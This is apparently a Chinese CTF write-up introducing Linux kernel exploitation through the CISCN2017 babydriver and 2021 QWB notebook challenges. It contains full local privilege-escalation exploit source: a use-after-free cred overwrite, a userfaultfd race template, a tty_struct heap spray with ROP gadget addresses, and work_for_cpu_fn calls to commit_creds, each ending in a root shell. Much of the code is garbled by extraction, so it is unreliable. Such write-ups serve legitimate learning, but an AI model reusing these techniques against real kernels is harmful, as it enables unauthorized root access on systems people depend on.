Linux kerne pwn入门(一) 最近在看Linux内核pwn,所以想着写一点东西,以便之后方便复习。
kernel UAF babydriver 之前用户态的时候也会有很多UAF的情况,可以对照着大概了解一下UAF的原理。这里拿CISCN2017 - babydriver来具体演示一下。kiprey师傅 用extract-vmlinux工具从bzImage中解压出vmlinux,并用vmlinux-to-elf将符号添加进去。
我们用IDA分析一下存在漏洞的驱动程序babydriver.ko。首先babydriver_init是加载驱动的初始化程序,所做的工作大概是注册了驱动程序,里面不会存在漏洞(至少到现在做的题里面没有)。babydriver_exit是卸载驱动所做的操作,大概是销毁一写分配的空间。babyopen,babyrelease,babyioctl,babywrite,babyread是通过你写的C程序open(fd),close(fd),ioctl(fd),write(fd),read(fd)所做的操作,举例来说,用fd1=open(/dev/babydriver)打开了一个驱动文件,然后ioctl(fd1)去找fd1所对应的babyioctl操作。
我们该怎么利用这个UAF漏洞,首先应该打开两遍babydriver驱动,这样fd1和fd2的device_buf均指向内核中同一片内存,因为device_buf是babydriver.ko驱动中的全局变量。然后我们close(fd1),这样就会释放device_buf空间,但指针没有置空,因此我们还可以通过fd2来操控这片内存(因为已经close(fd1),因此不能通过fd1来操控)。那么如何来使用呢,每个进程都会分配一个cred结构体,我们只需要让uid和gid为0就可以达到提权的目的。因此我们需要保证device_buf所在的位置就是为新进程分配的cred结构体所在的位置。我们可以通过ioctl来将fd1指向的device_buf的大小修改为cred结构体大小0xa8,这样在close(fd1)也就是free(device_buf)后fork一个新进程,新进程cred所在的位置就是之前释放device_buf所在的位置(至于为什么会这样,因为还不是太了解内核内存的分配,这里先挖个坑,之后再来补),因为fd2的device_buf此时还指向device_buf也就是cred,因此我们往device_buf处写0覆盖掉uid和gid,就可以让fork出来的新进程为root。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 struct  cred  {atomic_t     usage;#ifdef  CONFIG_DEBUG_CREDENTIALS atomic_t     subscribers;    void         *put_addr;unsigned     magic;#define  CRED_MAGIC  0x43736564 #define  CRED_MAGIC_DEAD 0x44656144 #endif  kuid_t       uid;        kgid_t       gid;        kuid_t       suid;       kgid_t       sgid;       kuid_t       euid;       kgid_t       egid;       kuid_t       fsuid;      kgid_t       fsgid;      unsigned     securebits; kernel_cap_t     cap_inheritable; kernel_cap_t     cap_permitted;  kernel_cap_t     cap_effective;  kernel_cap_t     cap_bset;   kernel_cap_t     cap_ambient;    #ifdef  CONFIG_KEYS unsigned  char    jit_keyring;    struct  key  __rcu *session_keyring; struct  key   *process_keyring; struct  key   *thread_keyring; struct  key   *request_key_auth; #endif  #ifdef  CONFIG_SECURITY void         *security;  #endif  struct  user_struct  *user;   struct  user_namespace  *user_ns; struct  group_info  *group_info;  struct  rcu_head  rcu;        
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include  <fcntl.h>  #include  <stdio.h>  #include  <stdlib.h>  #include  <string.h>  #include  <sys/ioctl.h>  #include  <sys/wait.h>  #include  <unistd.h>  int  main () int  fd1 = open ("/dev/babydev" , O_RDWR);int  fd2 = open ("/dev/babydev" , O_RDWR);ioctl (fd1, 65537 , 0xa8 );close (fd1);if (!fork()){char  mem[4 *7 ];memset (mem, '\x00' , sizeof (mem));write (fd2, mem, sizeof (mem));printf ("[+] after LPE, privilege: %s\n" , (getuid () ? "user"  : "root" ));system ("/bin/sh" );else {waitpid (-1 , NULL , 0 );return  0 ;
需要注意的是,当进程执行完 fork 操作后,父进程必须 wait 子进程,否则当父进程被销毁后,该进程成为孤儿进程,将无法使用终端进行输入输出。exploit 需要静态编译,因为 kernel 不提供标准库,但一定提供 syscall。
 
一般内核题目的exp是调用驱动的C文件,我们把他编译进文件系统中,这样就可以用qemu启动内核,然后运行这个c程序getshell。不知道为什么这个题目程序断不下来,因此在下一题中再具体演示内核是如何调试的。
kernel ROP 2018强网杯core 内核rop
userfaultfd的使用 userfaultfd主要用来在内核pwn中提高条件竞争的成功率,主要来说就是卡在copy_from_user(kptr,user_buf,size)处,因为拷贝时出现了缺页异常,出现缺页异常后就会执行我们注册的handler处理函数,只要我们在这个处理函数中sleep(100)就可以在这个线程中卡住,此时我们如果在另一个线程修改了kptr指向的内存(比如说kfree掉),那么就会出现UAF。怎么才能出现缺页异常呢,可以用mmap分一块匿名内存,第一次访问这个匿名页的时候就会触发缺页异常。
要使用 userfaultfd 系统调用,我们首先要注册一个 userfaultfd,通过 ioctl 监视一块内存区域,同时还需要专门启动一个用以进行轮询的线程 uffd monitor,该线程会通过 poll() 函数不断轮询直到出现缺页异常
 
据L3H_CoLin师傅 说在Linux5.4版本以下的内核中这种方法是可行的,新版本只有root权限才有权执行此类操作。一般做题时我们直接套板子就好了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static  pthread_t  monitor_thread;void  errExit (char  * msg) printf ("\033[31m\033[1m[x] Error at: \033[0m%s\n" , msg);exit (EXIT_FAILURE);void  registerUserFaultFd (void  * addr, unsigned  long  len, void  (*handler)(void *)) long  uffd;struct  uffdio_api  uffdio_api;struct  uffdio_register  uffdio_register;int  s;syscall (__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if  (uffd == -1 )errExit ("userfaultfd" );0 ;if  (ioctl (uffd, UFFDIO_API, &uffdio_api) == -1 )errExit ("ioctl-UFFDIO_API" );unsigned  long ) addr;if  (ioctl (uffd, UFFDIO_REGISTER, &uffdio_register) == -1 )errExit ("ioctl-UFFDIO_REGISTER" );pthread_create (&monitor_thread, NULL , handler, (void  *) uffd);if  (s != 0 )errExit ("pthread_create" );
在使用时直接调用即可
1 registerUserFaultFd(addr , len , handler ) ;
handler的板子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 static  char  *page = NULL ; static  long  page_size;static  void  *fault_handler_thread (void  *arg) static  struct  uffd_msg  msg;static  int  fault_cnt = 0 ;long  uffd;struct  uffdio_copy  uffdio_copy;ssize_t  nread;long ) arg;for  (;;) struct  pollfd  pollfd;int  nready;poll (&pollfd, 1 , -1 );if  (nready == -1 )errExit ("poll" );read (uffd, &msg, sizeof (msg));if  (nread == 0 )errExit ("EOF on userfaultfd!\n" );if  (nread == -1 )errExit ("read" );if  (msg.event != UFFD_EVENT_PAGEFAULT)errExit ("Unexpected event on userfaultfd\n" );unsigned  long ) page;unsigned  long ) msg.arg.pagefault.address &1 );0 ;0 ;if  (ioctl (uffd, UFFDIO_COPY, &uffdio_copy) == -1 )errExit ("ioctl-UFFDIO_COPY" );
从2021强网杯notebook学userfaultfd和堆喷 查看启动脚本发现开启了smap,smep和kaslr保护。并且开启了KPTI保护。
过KPTI保护就可以不用过smep和smap保护,不知道为什么,这里留个坑,下次再来解释。
 
主要思路 这道题的主要思路就是UAF,free掉notebook.note,但是我们还可以通过notebook.note去访问这个指针,这个过程需要用到线程竞争,为了提高竞争的成功率就要用到userfaultfd机制。释放的notebook.note的大小应该是tty_struct的大小,这样我们多次open(“/dev/ptmx”),就有概率申请的tty_struct被放在刚刚释放的大小为tty_struct的notebook.note中,这样通过访问notebook.note就可以UAF修改tty_struct的值从而劫持控制流bypass KPTI到用户空间拿到root权限并getshell。我们多次打开dev/ptmx的过程就叫堆喷。
堆喷的原理可以这样简单理解:假设我们有一个大小n的内核pool chunk A,然后释放该chunk。当我们再次申请同样大小的chunk时,就有可能又会申请到A,只是概率较低,但是如果我们大量申请同样大小的chunk,就有很大的概率又申请到A空间。
 
我们可以看到noteedit中用krealloc函数,会先释放原有空间,再分配新的空间,这里我们原有空间的大小可以设为0x2e0,也就是tty_struct的大小,然后传入的newsize可以是0x1000,传入的buf可以是memset分配的匿名页,这样在copy_from_user的时候就会sleep一段时间,此时还没有修改notebook.note的指向,因此访问notebook.note还可以访问到原来的指针。
此时大小为0x2e0大小的堆空间已经释放了,因此此时我们多次申请open(“/dev/ptmx”),这样就能有大概率申请到的tty_struct刚好就落在刚刚释放的堆空间里。
1 2 3 4 for (int i =  0 =  open("/dev/ptmx" ,  O_RDWR | O_NOCTTY)"\03 3[32m\03 3[1m[+] Heap spray for tty done.\03 3[0m" )1 )
接下来我们要把每个notebook.note里的数据读到用户空间然后判断是哪一个notebook.note hit到了tty_struct,但是在读的时候会有检查size,不能越界读写,因此我们还需要另起一个线程去修改notebook的size为正常大小。因为是add和edit都是读锁,因此可以多线程访问,不会阻塞。
然后就是常规的劫持tty_operations执行ROP。当时我看其他师傅的脚本栈迁移迁移的我犯迷糊,因此推荐长亭的wp 。前面的解法相同,只是后面不需要那么多次栈迁移以及ROP。
work_for_cpu_fn 稳定化利用 在开启了多核支持的内核中都有这个函数,定义于 kernel/workqueue.c 中:
1 2 3 4 5 6 7 8 9 10 11 12 13 struct  work_for_cpu {struct  work_struct work;long  (*fn)(void  *);void  *arg;long  ret;static  void  work_for_cpu_fn (struct  work_struct *workstruct  work_for_cpu *wfc = container_of(work, struct  work_for_cpu, work);
可以看到这个函数 rdi + 0x20 处作为函数指针执行,参数为 rdi + 0x28 处值,返回值存放在 rdi + 0x30 处,由此我们可以很方便地分次执行 prepare_kernel_cred 和 commit_creds,完成稳定化提权。
这里劫持ioctl而不是write,原因是 tty_write 和 do_tty_write 操作中对此处的成员变量进行了操作,会修改rdi+0x28处的值,所以劫持ioctl。并且ctf-wiki上说ioctl的cmd值最好用233.
 
而在执行ioctl的时候,rdi寄存器的值刚好是tty_struct的值,因此在(size_t)tty_struct+3的位置也就是operations的位置填入work_for_cpu_fn函数地址,然后在(size_t)tty_struct+4也就是rdi+0x20的位置填入prepare_kernel_cred函数的地址,在(size_t)tty_struct+5也就是rdi+0x28的位置填入0,也就是prepare_kernel_cred的参数,返回值放在(size_t)tty_struct+6的位置。然后调用ioctl执行prepare_kernel_cred函数,执行完后将返回值也就是(size_t)tty_struct+6的位置放入(size_t)tty_struct+5也就是参数的位置,然后(size_t)tty_struct+3的位置填入work_for_cpu_fn函数地址,然后在(size_t)tty_struct+4的位置填入commit_creds函数的地址。之后直接用户态getshell即可。
解法一exp 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 #include  <sys/types.h>  #include  <stdio.h>  #include  <linux/userfaultfd.h>  #include  <pthread.h>  #include  <errno.h>  #include  <unistd.h>  #include  <stdlib.h>  #include  <fcntl.h>  #include  <signal.h>  #include  <poll.h>  #include  <string.h>  #include  <sys/mman.h>  #include  <sys/syscall.h>  #include  <sys/ioctl.h>  #include  <sys/sem.h>  #include  <semaphore.h>  #include  <poll.h>  #include  "kernelpwn.h"  #define  PTM_UNIX98_OPS 0xffffffff81e8e440 #define  PTY_UNIX98_OPS 0xffffffff81e8e320 #define  COMMIT_CREDS 0xffffffff810a9b40 #define  PREPARE_KERNEL_CRED 0xffffffff810a9ef0 #define  SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a00929 #define  PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET 0xffffffff81238d50 #define  MOV_RSP_RBP_POP_RBP_RET 0xffffffff8107875c #define  POP_RDI_RET 0xffffffff81007115 #define  MOV_RDI_RAX_POP_RBP_RET 0xffffffff81045833 #define  POP_RDX_RET 0xffffffff81358842 #define  RET 0xffffffff81000091 #define  SWAPGS_POP_RBP_RET 0xffffffff810637d4 #define  IRETQ 0xffffffff810338bb #define  POP_RDX_POP_R12_POP_RBP_RET 0xffffffff810880c1 #define  POP_RSI_POP_RDI_POP_RBX_RET 0xffffffff81079c38 #define  POP_RBP_RET 0xffffffff81000367 #define  POP_RBX_POP_RBP_RET 0xffffffff81002141 #define  POP_RAX_POP_RBX_POP_RBP_RET 0xffffffff810cadf7 #define  TTY_STRUCT_SIZE 0x2e0 static  long  page_size;static  sem_t  sem_add, sem_edit;static  char  * buf; static  char  *page = NULL ;static  void  *fault_handler_thread (void  *arg) struct  uffd_msg  msg;int  fault_cnt = 0 ;long  uffd;struct  uffdio_copy  uffdio_copy;ssize_t  nread;long ) arg;for  (;;) struct  pollfd  pollfd;int  nready;poll (&pollfd, 1 , -1 );if  (nready == -1 )errExit ("poll" );read (uffd, &msg, sizeof (msg));sleep (100 );if  (nread == 0 )errExit ("EOF on userfaultfd!\n" );if  (nread == -1 )errExit ("read" );if  (msg.event != UFFD_EVENT_PAGEFAULT)errExit ("Unexpected event on userfaultfd\n" );unsigned  long ) page;unsigned  long ) msg.arg.pagefault.address &1 );0 ;0 ;if  (ioctl (uffd, UFFDIO_COPY, &uffdio_copy) == -1 )errExit ("ioctl-UFFDIO_COPY" );return  NULL ;typedef  struct  size_t  idx;size_t  size;char  * buf;long  note_fd;void  noteAdd (size_t  idx, size_t  size, char  * buf) ioctl (note_fd, 0x100 , ¬e);void  noteAddWrapper (void  * args) noteAdd (note->idx, note->size, note->buf);void  noteDel (size_t  idx) ioctl (note_fd, 0x200 , ¬e);void  noteEdit (size_t  idx, size_t  size, char  * buf) ioctl (note_fd, 0x300 , ¬e);void  noteEditWrapper (void  * args) noteEdit (note->idx, note->size, note->buf);void  noteGift (char  * buf) ioctl (note_fd, 100 , ¬e);void  evilAdd (void  * args) sem_wait (&sem_add);noteAdd ((int )args, 0x50 , buf);void  evilEdit (void  * args) sem_wait (&sem_edit);noteEdit ((int )args, 0x2000 , buf);struct void  * buf;size_t  size;0x10 ];int  main () int  tty_fd[0x100 ], tty_idx, fake_tty_ops_idx = -1 , fake_stack_idx = -1 , hit_tty = 0 ;size_t  tty_data[0x200 ], fake_tty_data[0x200 ], tty_ops, fake_tty_ops_data[0x200 ], rop[0x100 ];pthread_t  tmp_t , add_t , edit_t ;saveStatus ();sem_init (&sem_add, 0 , 0 );sem_init (&sem_edit, 0 , 0 );open ("/dev/notebook" , O_RDWR);char *) mmap (NULL , 0x1000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 );malloc (0x1000 );memset (page, 'a' , 0x1000 );sysconf (_SC_PAGE_SIZE);registerUserFaultFd (buf, 0x1000 , fault_handler_thread);for  (int  i = 0 ; i < 0x10 ; i++)noteAdd (i, 0x20 , page);noteEdit (i, TTY_STRUCT_SIZE, page);puts ("\033[32m\033[1m[+] Notebook initialization done.\033[0m" );sleep (1 );for  (int  i = 0 ; i < 0x10 ; i++)pthread_create (&edit_t , NULL , evilEdit, (void *)i);puts ("\033[34m\033[1m[*] Edit threads started.\033[0m" );for  (int  i = 0 ; i < 0x10 ; i++)sem_post (&sem_edit);puts ("\033[32m\033[1m[+] Edit threads trapped in userfaultfd.\033[0m" );sleep (1 );for  (int  i = 0 ; i < 0x80 ; i++)open ("/dev/ptmx" , O_RDWR | O_NOCTTY);puts ("\033[32m\033[1m[+] Heap spray for tty done.\033[0m" );sleep (1 );for  (int  i = 0 ; i < 0x10 ; i++)pthread_create (&add_t , NULL , evilAdd, (void *)i);puts ("\033[34m\033[1m[*] Add threads started.\033[0m" );for  (int  i = 0 ; i < 0x10 ; i++)sem_post (&sem_add);puts ("\033[32m\033[1m[+] Add threads trapped in userfaultfd.\033[0m" );sleep (1 );noteGift ((char *) notebook);for  (int  i = 0 ; i < 0x10 ; i++)read (note_fd, tty_data, i);if  (hit_tty = (*((int *)tty_data) == 0x5401 ))printf ("\033[32m\033[1m[+] Successfully hit the tty_struct at idx \033[0m%d.\n" , tty_idx = i);printf ("\033[32m\033[1m[+] Address of the tty_struct: \033[0m%p.\n" , notebook[i].buf);break ;if  (!hit_tty)errExit ("Failed to hit the tty struct." );unsigned  long  long *)(tty_data + 3 );0xfff ) == (PTY_UNIX98_OPS & 0xfff ) ? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS);void *) ((size_t )kernel_base + kernel_offset);printf ("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n" , kernel_offset);printf ("\033[32m\033[1m[+] Kernel base: \033[0m%p\n" , kernel_base);printf ("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n" , prepare_kernel_cred);printf ("\033[32m\033[1m[+] commit_creds: \033[0m%p\n" , commit_creds);printf ("\033[32m\033[1m[+] swapgs_restore_regs_and_return_to_usermode: \033[0m%p\n" , SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset);for  (int  i = 0 ; i < 0x10 ; i++)read (note_fd, tty_data, i);if  (*((int *)tty_data) != 0x5401 )if  (fake_tty_ops_idx == -1 )printf ("\033[34m\033[1m[*] Fake tty_operations at idx \033[0m%d.\n" , fake_tty_ops_idx = i);else printf ("\033[34m\033[1m[*] Fake stack at idx \033[0m%d.\n" , fake_stack_idx = i);break ;if  (fake_tty_ops_idx == -1  || fake_stack_idx == -1 )errExit ("Unable to find enough available notes, you\'re so lucky that you got so many tty_structs." );noteEdit (fake_tty_ops_idx, sizeof (struct  tty_operations), fake_tty_data);noteEdit (fake_stack_idx, 0x100 , rop);noteGift ((char *) notebook);printf ("\033[32m\033[1m[+] Address of the fake tty_operations: \033[0m%p.\n" , notebook[fake_tty_ops_idx].buf);printf ("\033[32m\033[1m[+] Address of the fake stack: \033[0m%p.\n" , notebook[fake_stack_idx].buf);read (note_fd, tty_data, tty_idx);memcpy (fake_tty_data, tty_data, sizeof (size_t ) * 0x200 );struct  tty_operations *)fake_tty_ops_data)->write = PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET + kernel_offset;1 ] = POP_RBX_POP_RBP_RET + kernel_offset;3 ] = notebook[fake_tty_ops_idx].buf;4 ] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;1 ] = POP_RBP_RET + kernel_offset;2 ] = notebook[fake_stack_idx].buf;3 ] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;int  rop_idx = 0 ;0xdeadbeefdeadbeef ; 0 ;0xdeadbeefdeadbeef ; 22  + kernel_offset;0 ;0 ;size_t ) &getRootShell;write (note_fd, rop, fake_stack_idx);                    write (note_fd, fake_tty_ops_data, fake_tty_ops_idx);    write (note_fd, fake_tty_data, tty_idx);                 puts ("\033[32m\033[1m[+] TTY DATA hijack done.\033[0m" );puts ("\033[34m\033[1m[*] Start to exploit...\033[0m" );for  (int  i = 0 ; i < 0x80 ; i++)write (tty_fd[i], page, 233 );return  0 ;
解法二exp 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 #include  <sys/types.h>  #include  <stdio.h>  #include  <linux/userfaultfd.h>  #include  <pthread.h>  #include  <errno.h>  #include  <unistd.h>  #include  <stdlib.h>  #include  <fcntl.h>  #include  <signal.h>  #include  <poll.h>  #include  <string.h>  #include  <sys/mman.h>  #include  <sys/syscall.h>  #include  <sys/ioctl.h>  #include  <sys/sem.h>  #include  <semaphore.h>  #include  <poll.h>  #include  "kernelpwn.h"  #define  PTM_UNIX98_OPS 0xffffffff81e8e440 #define  PTY_UNIX98_OPS 0xffffffff81e8e320 #define  COMMIT_CREDS 0xffffffff810a9b40 #define  PREPARE_KERNEL_CRED 0xffffffff810a9ef0 #define  SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a00929 #define  PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET 0xffffffff81238d50 #define  MOV_RSP_RBP_POP_RBP_RET 0xffffffff8107875c #define  POP_RDI_RET 0xffffffff81007115 #define  MOV_RDI_RAX_POP_RBP_RET 0xffffffff81045833 #define  POP_RDX_RET 0xffffffff81358842 #define  RET 0xffffffff81000091 #define  SWAPGS_POP_RBP_RET 0xffffffff810637d4 #define  IRETQ 0xffffffff810338bb #define  POP_RDX_POP_R12_POP_RBP_RET 0xffffffff810880c1 #define  POP_RSI_POP_RDI_POP_RBX_RET 0xffffffff81079c38 #define  POP_RBP_RET 0xffffffff81000367 #define  POP_RBX_POP_RBP_RET 0xffffffff81002141 #define  POP_RAX_POP_RBX_POP_RBP_RET 0xffffffff810cadf7 #define  WORK_FOR_CPU_FN 0xffffffff8109eb90 #define  TTY_STRUCT_SIZE 0x2e0 static  long  page_size;static  sem_t  sem_add, sem_edit;static  char  * buf; static  char  *page = NULL ;static  void  *fault_handler_thread (void  *arg) struct  uffd_msg  msg;int  fault_cnt = 0 ;long  uffd;struct  uffdio_copy  uffdio_copy;ssize_t  nread;long ) arg;for  (;;) struct  pollfd  pollfd;int  nready;poll (&pollfd, 1 , -1 );if  (nready == -1 )errExit ("poll" );read (uffd, &msg, sizeof (msg));sleep (100 );if  (nread == 0 )errExit ("EOF on userfaultfd!\n" );if  (nread == -1 )errExit ("read" );if  (msg.event != UFFD_EVENT_PAGEFAULT)errExit ("Unexpected event on userfaultfd\n" );unsigned  long ) page;unsigned  long ) msg.arg.pagefault.address &1 );0 ;0 ;if  (ioctl (uffd, UFFDIO_COPY, &uffdio_copy) == -1 )errExit ("ioctl-UFFDIO_COPY" );return  NULL ;typedef  struct  size_t  idx;size_t  size;char  * buf;long  note_fd;void  noteAdd (size_t  idx, size_t  size, char  * buf) ioctl (note_fd, 0x100 , ¬e);void  noteAddWrapper (void  * args) noteAdd (note->idx, note->size, note->buf);void  noteDel (size_t  idx) ioctl (note_fd, 0x200 , ¬e);void  noteEdit (size_t  idx, size_t  size, char  * buf) ioctl (note_fd, 0x300 , ¬e);void  noteEditWrapper (void  * args) noteEdit (note->idx, note->size, note->buf);void  noteGift (char  * buf) ioctl (note_fd, 100 , ¬e);void  evilAdd (void  * args) sem_wait (&sem_add);noteAdd ((int )args, 0x50 , buf);void  evilEdit (void  * args) sem_wait (&sem_edit);noteEdit ((int )args, 0x2000 , buf);struct void  * buf;size_t  size;0x10 ];int  main () int  tty_fd[0x100 ], tty_idx, fake_tty_ops_idx = -1 , fake_stack_idx = -1 , hit_tty = 0 ;size_t  tty_data[0x200 ], fake_tty_data[0x200 ], tty_ops, fake_tty_ops_data[0x200 ], rop[0x100 ];pthread_t  tmp_t , add_t , edit_t ;saveStatus ();sem_init (&sem_add, 0 , 0 );sem_init (&sem_edit, 0 , 0 );open ("/dev/notebook" , O_RDWR);char *) mmap (NULL , 0x1000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 );malloc (0x1000 );memset (page, 'a' , 0x1000 );sysconf (_SC_PAGE_SIZE);registerUserFaultFd (buf, 0x1000 , fault_handler_thread);for  (int  i = 0 ; i < 0x10 ; i++)noteAdd (i, 0x20 , page);noteEdit (i, TTY_STRUCT_SIZE, page);puts ("\033[32m\033[1m[+] Notebook initialization done.\033[0m" );sleep (1 );for  (int  i = 0 ; i < 0x10 ; i++)pthread_create (&edit_t , NULL , evilEdit, (void *)i);puts ("\033[34m\033[1m[*] Edit threads started.\033[0m" );for  (int  i = 0 ; i < 0x10 ; i++)sem_post (&sem_edit);puts ("\033[32m\033[1m[+] Edit threads trapped in userfaultfd.\033[0m" );sleep (1 );for  (int  i = 0 ; i < 0x80 ; i++)open ("/dev/ptmx" , O_RDWR | O_NOCTTY);puts ("\033[32m\033[1m[+] Heap spray for tty done.\033[0m" );sleep (1 );for  (int  i = 0 ; i < 0x10 ; i++)pthread_create (&add_t , NULL , evilAdd, (void *)i);puts ("\033[34m\033[1m[*] Add threads started.\033[0m" );for  (int  i = 0 ; i < 0x10 ; i++)sem_post (&sem_add);puts ("\033[32m\033[1m[+] Add threads trapped in userfaultfd.\033[0m" );sleep (1 );noteGift ((char *) notebook);for  (int  i = 0 ; i < 0x10 ; i++)read (note_fd, tty_data, i);if  (hit_tty = (*((int *)tty_data) == 0x5401 ))printf ("\033[32m\033[1m[+] Successfully hit the tty_struct at idx \033[0m%d.\n" , tty_idx = i);printf ("\033[32m\033[1m[+] Address of the tty_struct: \033[0m%p.\n" , notebook[i].buf);break ;if  (!hit_tty)errExit ("Failed to hit the tty struct." );unsigned  long  long *)(tty_data + 3 );0xfff ) == (PTY_UNIX98_OPS & 0xfff ) ? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS);void *) ((size_t )kernel_base + kernel_offset);printf ("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n" , kernel_offset);printf ("\033[32m\033[1m[+] Kernel base: \033[0m%p\n" , kernel_base);printf ("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n" , prepare_kernel_cred);printf ("\033[32m\033[1m[+] commit_creds: \033[0m%p\n" , commit_creds);printf ("\033[32m\033[1m[+] swapgs_restore_regs_and_return_to_usermode: \033[0m%p\n" , SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset);for  (int  i = 0 ; i < 0x10 ; i++)read (note_fd, tty_data, i);if  (*((int *)tty_data) != 0x5401 )if  (fake_tty_ops_idx == -1 )printf ("\033[34m\033[1m[*] Fake tty_operations at idx \033[0m%d.\n" , fake_tty_ops_idx = i);else printf ("\033[34m\033[1m[*] Fake stack at idx \033[0m%d.\n" , fake_stack_idx = i);break ;if  (fake_tty_ops_idx == -1  || fake_stack_idx == -1 )errExit ("Unable to find enough available notes, you\'re so lucky that you got so many tty_structs." );noteEdit (fake_tty_ops_idx, sizeof (struct  tty_operations), fake_tty_data);noteEdit (fake_stack_idx, 0x100 , rop);noteGift ((char *) notebook);printf ("\033[32m\033[1m[+] Address of the fake tty_operations: \033[0m%p.\n" , notebook[fake_tty_ops_idx].buf);printf ("\033[32m\033[1m[+] Address of the fake stack: \033[0m%p.\n" , notebook[fake_stack_idx].buf);read (note_fd, tty_data, tty_idx);memcpy (fake_tty_data, tty_data, sizeof (size_t ) * 0x200 );struct  tty_operations *)fake_tty_ops_data)->ioctl = WORK_FOR_CPU_FN + kernel_offset;write (note_fd, fake_tty_ops_data, fake_tty_ops_idx);read (note_fd, tty_data, tty_idx);memcpy (fake_tty_data, tty_data, sizeof (size_t )*0x200 );3 ] = notebook[fake_tty_ops_idx].buf;4 ] = prepare_kernel_cred;5 ] = 0 ;write (note_fd, fake_tty_data, tty_idx);puts ("\033[34m\033[1m[*] Start prepare_kernel_cred(NULL)...\033[0m" );for (int  i = 0 ; i<0x80 ; i++){ioctl (tty_fd[i], 233 , 233 );read (note_fd, fake_tty_data, tty_idx);3 ] = notebook[fake_tty_ops_idx].buf;4 ] = commit_creds;5 ] = fake_tty_data[6 ];write (note_fd, fake_tty_data, tty_idx);puts ("\033[34m\033[1m[*] Start commit_creds(ROOT)...\033[0m" );for  (int  i = 0 ; i < 0x80 ; i++)ioctl (tty_fd[i], 233 , 233 );puts ("\033[32m\033[1m[*] Done.\033[0m" );getRootShell ();return  0 ;
kernelpwn.h 
